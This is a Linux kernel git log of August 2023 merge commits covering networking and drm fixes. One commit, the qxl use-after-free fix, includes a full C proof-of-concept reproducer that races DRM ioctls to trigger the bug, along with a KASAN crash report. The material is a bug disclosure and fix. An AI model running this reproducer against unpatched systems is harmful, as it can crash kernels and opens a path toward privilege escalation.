 IrtCThAAj+t35QM5BgGZowmrx9U4yF+kacDkdPztxlT8a/b+famrTtnZJ8USW+PF
 VCk3Eu8JXheuyAOMArHyM84/crS6wim6mzGcXaucusA3981PFzoqdgCLLf9emAJ2
 j9vzKrnHBtdd5fj8Exwq70KN4CzXyrzRgqwr2EXBK9lH59HjX0+J7o+trbDxNmFK
 RZJE2oDCqf939iRGG3PhJryKYBmrQaMtdonNpSU5PiiRT0HnVYcEtdWcOXK7d53D
 onpoaPdawcsqsns5c5Qj01E1OdyM8X54BEGkl/S4FmSw5jF9Bp6btmTcxYYtdb7E
 M3CeYROZ0Kt8KcKKje/o1AzdGqWq8Hnxfwy+2WulZAHMucshg0JPm6Ev74WRondw
 NGYriKJSdORSO8idK9K/i7pnjZXYr9gU50lpPUFU+QzSdd+zv+U11arjAodwI9Wi
 pW+dFi3UR7J01LidaxclvHmWnZ7d5sSzE2khpqb0xd0+PagRGesl8qnKyoDJNS1P
 IHsOrRh9aXLzEZjud/rVG+sUobQvc1oiHW+hvbJ04GLKoli9U5poGT2fcaa4O67M
 T7JcN5oGDF+PIHJKgTEN7pfX2epY33gmofKUhbt/OPOqnvZOVbTu7/ojjuJZ8Lc5
 SF8AvTe+lECcX8Htjq30PoVfai+FT6AhnZzK0H9K4HMfUB9O32Q=
 =Ze13
 -----END PGP SIGNATURE-----

Merge tag 'net-6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/netdev/net

Pull networking fixes from Jakub Kicinski:
 "Including fixes from ipsec and netfilter.

  No known outstanding regressions.

  Fixes to fixes:

   - virtio-net: set queues after driver_ok, avoid a potential race
     added by recent fix

   - Revert "vlan: Fix VLAN 0 memory leak", it may lead to a warning
     when VLAN 0 is registered explicitly

   - nf_tables:
      - fix false-positive lockdep splat in recent fixes
      - don't fail inserts if duplicate has expired (fix test failures)
      - fix races between garbage collection and netns dismantle

  Current release - new code bugs:

   - mlx5: Fix mlx5_cmd_update_root_ft() error flow

  Previous releases - regressions:

   - phy: fix IRQ-based wake-on-lan over hibernate / power off

  Previous releases - always broken:

   - sock: fix misuse of sk_under_memory_pressure() preventing system
     from exiting global TCP memory pressure if a single cgroup is under
     pressure

   - fix the RTO timer retransmitting skb every 1ms if linear option is
     enabled

   - af_key: fix sadb_x_filter validation, amment netlink policy

   - ipsec: fix slab-use-after-free in decode_session6()

   - macb: in ZynqMP resume always configure PS GTR for non-wakeup
     source

  Misc:

   - netfilter: set default timeout to 3 secs for sctp shutdown send and
     recv state (from 300ms), align with protocol timers"

* tag 'net-6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/netdev/net: (49 commits)
  ice: Block switchdev mode when ADQ is active and vice versa
  qede: fix firmware halt over suspend and resume
  net: do not allow gso_size to be set to GSO_BY_FRAGS
  sock: Fix misuse of sk_under_memory_pressure()
  sfc: don't fail probe if MAE/TC setup fails
  sfc: don't unregister flow_indr if it was never registered
  net: dsa: mv88e6xxx: Wait for EEPROM done before HW reset
  net/mlx5: Fix mlx5_cmd_update_root_ft() error flow
  net/mlx5e: XDP, Fix fifo overrun on XDP_REDIRECT
  i40e: fix misleading debug logs
  iavf: fix FDIR rule fields masks validation
  ipv6: fix indentation of a config attribute
  mailmap: add entries for Simon Horman
  broadcom: b44: Use b44_writephy() return value
  net: openvswitch: reject negative ifindex
  team: Fix incorrect deletion of ETH_P_8021AD protocol vid from slaves
  net: phy: broadcom: stub c45 read/write for 54810
  netfilter: nft_dynset: disallow object maps
  netfilter: nf_tables: GC transaction race with netns dismantle
  netfilter: nf_tables: fix GC transaction races with netns and netlink event exit path
  ...
2023-08-18 06:52:23 +02:00
Linus Torvalds
1ada9c0740 drm fixes for 6.5-rc7
edid:
 - revert mode parsing fix that had side effects.
 
 i915:
 - Fix the flow for ignoring GuC SLPC efficient frequency selection
 - Fix SDVO panel_type initialization
 - Fix display probe for IVB Q and IVB D GT2 server
 
 nouveau:
 - fix use-after-free in connector code
 
 qaic:
 - integer overflow check fix
 - fix slicing memory leak
 
 panel:
 - fix JDI LT070ME05000 probing
 - fix AUO G121EAN01 timings
 
 amdgpu:
 - SMU 13.x fixes
 - Fix mcbp parameter for gfx9
 - SMU 11.x fixes
 - Temporary fix for large numbers of XCP partitions
 - S0ix fixes
 - DCN 2.0 fix
 
 qxl:
 - fix use after free race in dumb object allocation
 -----BEGIN PGP SIGNATURE-----
 
 iQIzBAABCAAdFiEEEKbZHaGwW9KfbeusDHTzWXnEhr4FAmTekjgACgkQDHTzWXnE
 hr7Dtw/+Lmf8Puh9RIgqLFA6sThkRI3jaj5mr/0arFzCXhQKeVUFhDgbVMndQX2B
 JajuMYY/tz1ok5dDgUbFkY7P2v+JrDMEpADGbdv1F9OjzimBimydD0fyfY92NTPL
 LrugeBOQrgw2BQkY12GW010ThrzEYvapF0NTAgMXY10xsVfDkT1OkUS45TrM3KM8
 rX7Vwkd48DD+N+c6wjvPP6cIKQHxktOrziCmn2ggsklGUD0anIyVpZ5mk+YC2HV+
 fQKt8FihyWzdqRUEjpDn1p4HuLiaKYOBxy1Kwz8jJooqf9dA+SGA+AzXYP3wfUKs
 SmX7OpwWB22yhOA027oFm4y696EVg7Al4BqyblohWwwpY/hpTMxSReNQAAogTc13
 TFQ1QqDM84QDzaLG58jydxh/6gmvLuCZt4Wy/Ho+qHw+n0RGiqt29DkWcGfx0ETu
 a/t5NANMO+lInmDELi8ns/ZL3m9+uXvl3VDA49VhMk1mZv1Wt+UKz8wJg83tz9SQ
 7k9jpEntGGgqarF2X5hwIkTeZZtsnY3bdHaOmr2ed6OJ6Gq64r7gSfVaYx/EL5IN
 qF6s8Kbow9Y/5LGIkNry0KIrv6C6+XMQSYH0+F0TaeZFh55FPdPakJvxj8lkwGRT
 gWEhL1bKYeEHk7GgshztCgJl1lc47Dcbg4A7rVAH/Iyqgkqn/Hc=
 =P1rE
 -----END PGP SIGNATURE-----

Merge tag 'drm-fixes-2023-08-18-1' of git://anongit.freedesktop.org/drm/drm

Pull drm fixes from Dave Airlie:
 "Regular enough week, mostly the usual amdgpu and i915 fixes.  Also
  qaic, nouveau, qxl and a revert for an EDID patch that had some side
  effects, along with a couple of panel fixes.

  edid:
   - revert mode parsing fix that had side effects.

  i915:
   - Fix the flow for ignoring GuC SLPC efficient frequency selection
   - Fix SDVO panel_type initialization
   - Fix display probe for IVB Q and IVB D GT2 server

  nouveau:
   - fix use-after-free in connector code

  qaic:
   - integer overflow check fix
   - fix slicing memory leak

  panel:
   - fix JDI LT070ME05000 probing
   - fix AUO G121EAN01 timings

  amdgpu:
   - SMU 13.x fixes
   - Fix mcbp parameter for gfx9
   - SMU 11.x fixes
   - Temporary fix for large numbers of XCP partitions
   - S0ix fixes
   - DCN 2.0 fix

  qxl:
   - fix use after free race in dumb object allocation"

* tag 'drm-fixes-2023-08-18-1' of git://anongit.freedesktop.org/drm/drm:
  drm/qxl: fix UAF on handle creation
  Revert "drm/edid: Fix csync detailed mode parsing"
  drm/nouveau/disp: fix use-after-free in error handling of nouveau_connector_create
  Revert "Revert "drm/amdgpu/display: change pipe policy for DCN 2.0""
  drm/amd: flush any delayed gfxoff on suspend entry
  drm/amdgpu: skip fence GFX interrupts disable/enable for S0ix
  drm/amdgpu: skip xcp drm device allocation when out of drm resource
  drm/amd/pm: Update pci link width for smu v13.0.6
  drm/amd/pm: Fix temperature unit of SMU v13.0.6
  drm/amdgpu/pm: fix throttle_status for other than MP1 11.0.7
  drm/amdgpu: disable mcbp if parameter zero is set
  drm/amd/pm: disallow the fan setting if there is no fan on smu 13.0.0
  accel/qaic: Clean up integer overflow checking in map_user_pages()
  accel/qaic: Fix slicing memory leak
  drm/i915: fix display probe for IVB Q and IVB D GT2 server
  drm/i915/sdvo: fix panel_type initialization
  drm/i915/guc/slpc: Restore efficient freq earlier
  drm/panel: simple: Fix AUO G121EAN01 panel timings according to the docs
  drm/panel: JDI LT070ME05000 simplify with dev_err_probe()
2023-08-18 06:37:34 +02:00
Jakub Kicinski
820a38d8f2 Merge branch '40GbE' of git://git.kernel.org/pub/scm/linux/kernel/git/tnguy/net-queue
Tony Nguyen says:

====================
Intel Wired LAN Driver Updates 2023-08-16 (iavf, i40e)

This series contains updates to iavf and i40e drivers.

Piotr adds checks for unsupported Flow Director rules on iavf.

Andrii replaces incorrect 'write' messaging on read operations for i40e.

* '40GbE' of git://git.kernel.org/pub/scm/linux/kernel/git/tnguy/net-queue:
  i40e: fix misleading debug logs
  iavf: fix FDIR rule fields masks validation
====================

Link: https://lore.kernel.org/r/20230816193308.1307535-1-anthony.l.nguyen@intel.com
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
2023-08-17 14:35:34 -07:00
Wander Lairson Costa
c611589b42 drm/qxl: fix UAF on handle creation
qxl_mode_dumb_create() dereferences the qobj returned by
qxl_gem_object_create_with_handle(), but the handle is the only one
holding a reference to it.

A potential attacker could guess the returned handle value and closes it
between the return of qxl_gem_object_create_with_handle() and the qobj
usage, triggering a use-after-free scenario.

Reproducer:

int dri_fd =-1;
struct drm_mode_create_dumb arg = {0};

void gem_close(int handle);

void* trigger(void* ptr)
{
	int ret;
	arg.width = arg.height = 0x20;
	arg.bpp = 32;
	ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg);
	if(ret)
	{
		perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
		exit(-1);
	}
	gem_close(arg.handle);
	while(1) {
		struct drm_mode_create_dumb args = {0};
		args.width = args.height = 0x20;
		args.bpp = 32;
		ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args);
		if (ret) {
			perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
			exit(-1);
		}

		printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle);
		gem_close(args.handle);
	}
	return NULL;
}

void gem_close(int handle)
{
	struct drm_gem_close args;
	args.handle = handle;
	int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle
	if (!ret)
		printf("gem close handle %d\n", args.handle);
}

int main(void)
{
	dri_fd= open("/dev/dri/card0", O_RDWR);
	printf("fd:%d\n", dri_fd);

	if(dri_fd == -1)
		return -1;

	pthread_t tid1;

	if(pthread_create(&tid1,NULL,trigger,NULL)){
		perror("[*] thread_create tid1\n");
		return -1;
	}
	while (1)
	{
		gem_close(arg.handle);
	}
	return 0;
}

This is a KASAN report:

==================================================================
BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
Write of size 1 at addr ffff88801136c240 by task poc/515

CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 #3
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014
Call Trace:
<TASK>
__dump_stack linux/lib/dump_stack.c:88
dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106
print_address_description linux/mm/kasan/report.c:319
print_report+0xd2/0x660 linux/mm/kasan/report.c:430
kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536
__asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383
qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
RIP: 0033:0x7ff5004ff5f7
Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48

RSP: 002b:00007ff500408ea8 EFLAGS: 00000286 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff5004ff5f7
RDX: 00007ff500408ec0 RSI: 00000000c02064b2 RDI: 0000000000000003
RBP: 00007ff500408ef0 R08: 0000000000000000 R09: 000000000000002a
R10: 0000000000000000 R11: 0000000000000286 R12: 00007fff1c6cdafe
R13: 00007fff1c6cdaff R14: 00007ff500408fc0 R15: 0000000000802000
</TASK>

Allocated by task 515:
kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510
____kasan_kmalloc linux/mm/kasan/common.c:374
__kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383
kasan_kmalloc linux/./include/linux/kasan.h:196
kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066
kmalloc linux/./include/linux/slab.h:580
kzalloc linux/./include/linux/slab.h:720
qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124
qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58
qxl_gem_object_create_with_handle+0xa1/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:89
qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120

Freed by task 515:
kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
kasan_save_free_info+0x2e/0x60 linux/mm/kasan/generic.c:521
____kasan_slab_free linux/mm/kasan/common.c:236
____kasan_slab_free+0x180/0x1f0 linux/mm/kasan/common.c:200
__kasan_slab_free+0x12/0x30 linux/mm/kasan/common.c:244
kasan_slab_free linux/./include/linux/kasan.h:162
slab_free_hook linux/mm/slub.c:1781
slab_free_freelist_hook+0xd2/0x1a0 linux/mm/slub.c:1807
slab_free linux/mm/slub.c:3787
__kmem_cache_free+0x196/0x2d0 linux/mm/slub.c:3800
kfree+0x78/0x120 linux/mm/slab_common.c:1019
qxl_ttm_bo_destroy+0x140/0x1a0 linux/drivers/gpu/drm/qxl/qxl_object.c:49
ttm_bo_release+0x678/0xa30 linux/drivers/gpu/drm/ttm/ttm_bo.c:381
kref_put linux/./include/linux/kref.h:65
ttm_bo_put+0x50/0x80 linux/drivers/gpu/drm/ttm/ttm_bo.c:393
qxl_gem_object_free+0x3e/0x60 linux/drivers/gpu/drm/qxl/qxl_gem.c:42
drm_gem_object_free+0x5c/0x90 linux/drivers/gpu/drm/drm_gem.c:974
kref_put linux/./include/linux/kref.h:65
__drm_gem_object_put linux/./include/drm/drm_gem.h:431
drm_gem_object_put linux/./include/drm/drm_gem.h:444
qxl_gem_object_create_with_handle+0x151/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:100
qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120

The buggy address belongs to the object at ffff88801136c000
which belongs to the cache kmalloc-1k of size 1024
The buggy address is located 576 bytes inside of
freed 1024-byte region [ffff88801136c000, ffff88801136c400)

The buggy address belongs to the physical page:
page:0000000089fc329b refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11368
head:0000000089fc329b order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff)
raw: 000fffffc0010200 ffff888007841dc0 dead000000000122 0000000000000000
raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected

Memory state around the buggy address:
ffff88801136c100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88801136c180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88801136c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff88801136c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88801136c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
Disabling lock debugging due to kernel taint

Instead of returning a weak reference to the qxl_bo object, return the
created drm_gem_object and let the caller decrement the reference count
when it no longer needs it. As a convenience, if the caller is not
interested in the gobj object, it can pass NULL to the parameter and the
reference counting is descremented internally.

The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940).

Link: https://www.zerodayinitiative.com/
Signed-off-by: Wander Lairson Costa <wander@redhat.com>
Cc: stable@vger.kernel.org
Reviewed-by: Dave Airlie <airlied@redhat.com>
Signed-off-by: Dave Airlie <airlied@redhat.com>
Link: https://patchwork.freedesktop.org/patch/msgid/20230814165119.90847-1-wander@redhat.com
2023-08-18 06:57:38 +10:00
Dave Airlie
68c60b3433 amd-drm-fixes-6.5-2023-08-16:
amdgpu:
 - SMU 13.x fixes
 - Fix mcbp parameter for gfx9
 - SMU 11.x fixes
 - Temporary fix for large numbers of XCP partitions
 - S0ix fixes
 - DCN 2.0 fix
 -----BEGIN PGP SIGNATURE-----
 
 iHUEABYKAB0WIQQgO5Idg2tXNTSZAr293/aFa7yZ2AUCZN0pwAAKCRC93/aFa7yZ
 2Pm5AQCWBRQ8olFSd6w+hfuXu3E/m/nIalEMb2CAyUtvUeSJYQEAhh0FpkpcOBKG
 /Ya8fMz5R/FIHvzoHHga0V2ceEt67wg=
 =Alen
 -----END PGP SIGNATURE-----

Merge tag 'amd-drm-fixes-6.5-2023-08-16' of https://gitlab.freedesktop.org/agd5f/linux into drm-fixes

amd-drm-fixes-6.5-2023-08-16:

amdgpu:
- SMU 13.x fixes
- Fix mcbp parameter for gfx9
- SMU 11.x fixes
- Temporary fix for large numbers of XCP partitions
- S0ix fixes
- DCN 2.0 fix

Signed-off-by: Dave Airlie <airlied@redhat.com>

From: Alex Deucher <alexander.deucher@amd.com>
Link: https://patchwork.freedesktop.org/patch/msgid/20230816200226.10771-1-alexander.deucher@amd.com
2023-08-18 06:09:27 +10:00
Dave Airlie
be48306f76 One EPROBE_DEFER handling fix for the JDI LT070ME05000, a timing fix for
the AUO G121EAN01 panel, an integer overflow and a memory leak fixes for
 the qaic accel, a use-after-free fix for nouveau and a revert for an
 alleged fix in EDID parsing.
 -----BEGIN PGP SIGNATURE-----
 
 iHUEABYKAB0WIQRcEzekXsqa64kGDp7j7w1vZxhRxQUCZN4izwAKCRDj7w1vZxhR
 xRxGAP4h+R+qhB1X4SVmCB8DEY109lcHJofNK/z7aW8EG8X4sQEAlb1cOZRtmRjS
 9/Wdmc7377soNHNlMNhxEg8kEeqxGwE=
 =c6Zn
 -----END PGP SIGNATURE-----

Merge tag 'drm-misc-fixes-2023-08-17' of git://anongit.freedesktop.org/drm/drm-misc into drm-fixes

One EPROBE_DEFER handling fix for the JDI LT070ME05000, a timing fix for
the AUO G121EAN01 panel, an integer overflow and a memory leak fixes for
the qaic accel, a use-after-free fix for nouveau and a revert for an
alleged fix in EDID parsing.

Signed-off-by: Dave Airlie <airlied@redhat.com>

From: Maxime Ripard <mripard@redhat.com>
Link: https://patchwork.freedesktop.org/patch/msgid/3olqt33em5uhxzjbqghwcwnvmw73h7bxkbdxookmnkecymd4vc@7ogm6gewpprq
2023-08-18 06:08:58 +10:00
Dave Airlie
dd64d8ae0f - Fix the flow for ignoring GuC SLPC efficient frequency selection (Vinay)
- Fix SDVO panel_type initialization (Jani)
 - Fix display probe for IVB Q and IVB D GT2 server (Jani)
 -----BEGIN PGP SIGNATURE-----
 
 iQEzBAABCAAdFiEEbSBwaO7dZQkcLOKj+mJfZA7rE8oFAmTeMewACgkQ+mJfZA7r
 E8qILgf/cvNbXxfp0D0oqpMOQxj9b0yBZ1IFNwXtyDBRHpfZaSYOgkxhh0ybcGei
 p15AOwk96hET5wo2KmBsq6JakjBU7GNfRtFISOQBPevo4pFPSKO/XZTOFzp7Wb2M
 eqDI9EVaedGRqV+oEiRfr1XpCPunIDg7jaCC1Fl/aD+iX93GO1ExuiPgHJNdIA36
 KfqVF9bgDupt9foCzPktJpwglG1xIOXCphXUogZ+15FtIfvgFvPhIGnDBVoTH9av
 A1kr8d114K+VPT1YqfdrgNHMw4doHcejcnNxESn0kXI2KptCKhgBHAr/93ytMz9r
 mix3VDSvBIWLtj18ca61BbtLKL7org==
 =Bx6T
 -----END PGP SIGNATURE-----

Merge tag 'drm-intel-fixes-2023-08-17' of git://anongit.freedesktop.org/drm/drm-intel into drm-fixes

- Fix the flow for ignoring GuC SLPC efficient frequency selection (Vinay)
- Fix SDVO panel_type initialization (Jani)
- Fix display probe for IVB Q and IVB D GT2 server (Jani)

Signed-off-by: Dave Airlie <airlied@redhat.com>

From: Rodrigo Vivi <rodrigo.vivi@intel.com>
Link: https://patchwork.freedesktop.org/patch/msgid/ZN4yduyBU1Ev9dc7@intel.com
2023-08-18 06:08:43 +10:00
Jakub Kicinski
e9bbd60169 mlx5-fixes-2023-08-16
-----BEGIN PGP SIGNATURE-----
 
 iQEzBAABCAAdFiEEGhZs6bAKwk/OTgTpSD+KveBX+j4FAmTdNAEACgkQSD+KveBX
 +j76qQf+PO4Po2ihQifANqZdJ75PumJxvHw3GUtroq0ELt2CqUx4cFwnVVoy2+6Y
 fYctk0UpFu5yRHkPUv5jVgP8ixDgLiJ8wLR15evCi3iDKxi0Ta/e+8EsTfKBrtI4
 GXK7wYTL+awZz5QDyerkMjqDSDDJ8KBgL4p2B1jpKgPMvd5gYWxqG+6MC5b/AAFe
 jqZAB6vocCYH6TGRBn7Gn2b6jnWhG35HBViv+nUCjZKRpVrkNq4wbh9RfeAgOaqz
 8rEBII19EnbaBj+RpJrLNgSINmv5TQCd4PY0CLkhqFYtJw6nlYEYcuMkdfi8VUO8
 P2UNhznOnCtJqai0Unsz2tR6H20uzQ==
 =BUoK
 -----END PGP SIGNATURE-----

Merge tag 'mlx5-fixes-2023-08-16' of git://git.kernel.org/pub/scm/linux/kernel/git/saeed/linux

Saeed Mahameed says:

====================
mlx5 fixes 2023-08-16

This series provides bug fixes to mlx5 driver.

* tag 'mlx5-fixes-2023-08-16' of git://git.kernel.org/pub/scm/linux/kernel/git/saeed/linux:
  net/mlx5: Fix mlx5_cmd_update_root_ft() error flow
  net/mlx5e: XDP, Fix fifo overrun on XDP_REDIRECT
====================

Link: https://lore.kernel.org/r/20230816204108.53819-1-saeed@kernel.org
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
2023-08-17 11:56:44 -07:00